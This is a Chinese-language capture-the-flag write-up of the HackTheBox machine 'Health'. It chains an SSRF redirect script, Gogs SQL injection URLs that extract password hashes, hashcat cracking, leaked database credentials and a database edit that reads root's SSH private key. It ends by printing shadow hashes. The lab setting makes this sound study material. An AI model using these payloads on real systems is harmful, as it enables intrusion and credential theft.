基本信息

https://www.hackthebox.com/home/machines/profile/491
10.10.11.176

端口扫描

22,80,和一个被过滤的3000:

$ nmap -sC -sV 10.10.11.176
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-24 13:59 CST
Nmap scan report for 10.10.11.176
Host is up (0.20s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 32:b7:f4:d4:2f:45:d3:30:ee:12:3b:03:67:bb:e6:31 (RSA)
|   256 86:e1:5d:8c:29:39:ac:d7:e8:15:e6:49:e2:35:ed:0c (ECDSA)
|_  256 ef:6b:ad:64:d5:e4:5b:3e:66:79:49:f4:ec:4c:23:9f (ED25519)
80/tcp   open     http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HTTP Monitoring Tool
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.87 seconds

80

一个使用webhook进行health check的页面：

SSRF

很容易想到SSRF，80去监测3000端口，结果发给我们,但不能直接使用localhost作为Monitored URL:

所以我们可以自己做个重定向，使其重定向到3000端口,获取内容,发现是gogs：

1	python3 redirect.py http://127.0.0.1:3000/

redirect.py

#!/usr/bin/python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

class Redirect(BaseHTTPRequestHandler):
  def do_GET(self):
      self.send_response(302)
      self.send_header('Location', sys.argv[1])
      self.end_headers()

HTTPServer(("0.0.0.0", 80), Redirect).serve_forever()

Gogs

搜索可以发现sql注入：

Gogs - ‘users’/‘repos’ ‘?q’ SQL Injection - Multiple webapps Exploit
https://www.exploit-db.com/exploits/35238

后续就是一步步,sql注入获取password和salt：

python3 redirect.py "http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,1,(select/**/passwd/**/from/**/user),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--"

{
  "username": "susanne",
  "avatar": "//1.gravatar.com/avatar/c11d48f16f254e918744183ef7b89fce",
  "username": "66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37",
  "avatar": "//1.gravatar.com/avatar/1"
}

python3 redirect.py "http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,1,(select/**/salt/**/from/**/user),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--"

{
  "username": "susanne",
  "avatar": "//1.gravatar.com/avatar/c11d48f16f254e918744183ef7b89fce",
  "username": "sO3XIbeW14",
  "avatar": "//1.gravatar.com/avatar/1"
}

crack

根据规则生成hash，进行破解：

echo 'sha256:10000:'$(echo 'sO3XIbeW14' | base64 | cut -c1-14)':'$(echo '66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37' | xxd -r -p | base64)

sha256:10000:c08zWEliZVcxNA:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=

sudo hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt

february15

user flag

susanne用户使用破解出来的密码登录ssh，user.txt:

提权信息

运行pspy64，发现定时运行的相关内容：

1
2

2022/08/24 06:45:01 CMD: UID=0    PID=19678  | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1
2022/08/24 06:45:06 CMD: UID=0    PID=19688  | mysql laravel --execute TRUNCATE tasks

对应目录下得到mysql账号密码：

cat /var/www/html/.env

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=laravel
DB_PASSWORD=MYsql_strongestpass@2014+

查看HealthChecker.php，可以知道是通过file_get_contents去获取我们指定的monitoredUrl内容，而这个信息是在数据库中的

所以我们可以通过在数据库中修改monitoredUrl,通过webhook获取对应内容来进行任意文件读取

HealthChecker.php

<?php

namespace App\Http\Controllers;

class HealthChecker
{
    public static function check($webhookUrl, $monitoredUrl, $onlyError = false)
    {

        $json = [];
        $json['webhookUrl'] = $webhookUrl;
        $json['monitoredUrl'] = $monitoredUrl;

        $res = @file_get_contents($monitoredUrl, false);
        if ($res) {

            if ($onlyError) {
                return $json;
            }

            $json['health'] = "up";
	    $json['body'] = $res;
	    if (isset($http_response_header)) {
            $headers = [];
            $json['message'] = $http_response_header[0];

            for ($i = 0; $i <= count($http_response_header) - 1; $i++) {

                $split = explode(':', $http_response_header[$i], 2);

                if (count($split) == 2) {
                    $headers[trim($split[0])] = trim($split[1]);
                } else {
                    error_log("invalid header pair: $http_response_header[$i]\n");
                }

            }

	    $json['headers'] = $headers;
	    }

        } else {
            $json['health'] = "down";
        }

        $content = json_encode($json);

        // send
        $curl = curl_init($webhookUrl);
        curl_setopt($curl, CURLOPT_HEADER, false);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_HTTPHEADER,
            array("Content-type: application/json"));
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $content);
        curl_exec($curl);
        curl_close($curl);

        return $json;

    }
}

文件读取

创建一个新的webhook

数据库中修改信息,(要在webhook还没执行之前修改)：

mysql -Dlaravel -ularavel -pMYsql_strongestpass@2014+

mysql> use laravel;
mysql> update tasks set monitoredUrl='file:///root/.ssh/id_rsa';

webhook得到对应文件内容：

root_id_rsa

root flag

使用读取到的私钥登录root：

shadow

1
2
3

root:$6$CGK4O3ut$hQTwfTrsIVAL2.wTf.mNzkpipITwSLVjqTw5bN2bnXXQi8QU4lnrlnrBMZ87bzMMQEyuxnlLJIMGhKIFjZBFn/:19130:0:99999:7:::
susanne:$6$1e4aezQ4$SdT0K.JpwHFrulyYF6iHx.KItM.AjoMmpyUrk.JSb/hit4YHeAJvrjKVZDEx8M9Hts5UE1FgJY.SC1ia3AvBt.:19129:0:99999:7:::
gogs:$6$PwVrNTkQ$L5f1d4EbQ8d3BtOBhR8fijKDs6Px3x1bFbLHgIauWbdY0IWfYNLacYF0rVWlr6PmnyVza3JsBZunFlE6MF.uB0:19129:0:99999:7:::

参考资料

Gogs - ‘users’/‘repos’ ‘?q’ SQL Injection - Multiple webapps Exploit
https://www.exploit-db.com/exploits/35238
Health - HTB [Discussion] | BreachForums
https://breached.to/Thread-Health-HTB-Discussion
Writeup Health HackTheBox
https://gatogamer1155.github.io/hackthebox/health/

Health - HackTheBox

2022-08-24